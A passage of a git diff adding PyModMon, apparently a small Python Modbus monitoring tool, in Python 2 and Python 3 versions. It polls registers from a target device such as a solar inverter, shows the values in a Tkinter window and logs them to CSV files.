print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## 